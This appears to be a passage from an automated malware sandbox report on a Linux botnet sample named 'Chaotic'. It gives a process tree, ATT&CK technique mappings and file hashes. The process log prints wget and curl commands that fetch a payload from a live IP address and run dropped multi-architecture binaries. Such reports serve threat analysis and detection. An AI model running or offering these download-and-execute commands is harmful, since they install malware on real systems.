  chmod +x busybox Chaotic config-err-C9zgZS netplan_yfbt283b ohshit.sh snap-private-tmp ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1651
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1652
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:1658
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:1659
- /bin/chmod
  chmod +x busybox Chaotic config-err-C9zgZS netplan_yfbt283b ohshit.sh snap-private-tmp ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1661
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1662

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/Chaotic

Filesize
37KB

MD5
08cf04b0ad15a8c7c449088e16315353

SHA1
ffacbdbcd817f007e6c57c54b4bbbf69c717670e

SHA256
45dfa91dd7d2e4786d97d8306ecd7ddb681ee47307c5c71adfa363a99579e9a7

SHA512
5484205f6981d97b2712a1d1b9ae18133ddd279aa466a0fb4da48e4613a9e33a45d2f83fe938a890308c1fab93f6ef44c0665c8b2d21990fe2284c88909adcae

Download Submit
/tmp/busybox

Filesize
2.0MB

MD5
b4dede5fc0b1bad5cb8e901bde126b97

SHA1
10cbe9a418ad84a1ed297948539d37aeb58dd810

SHA256
a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020

SHA512
45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6

Download Submit
/tmp/ub8ehJSePAfc9FYqZIT6.arc

Filesize
113KB

MD5
731281856cddc0758f79ba6dc1cda3c4

SHA1
afd1c9de211952031af53529c4c5de07e17c3a8a

SHA256
a5b802a712ab8b03041deb61d6a552a951b998570cf2fc842958974666c9387f

SHA512
4d9514e59144a5c15b6290d72f77bf2b61d888a422b037710e512995e7df29e39f1da19af7a836172b4d593ff0f5dc0223b188d82ce06defa35b9aadb362bbc6

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads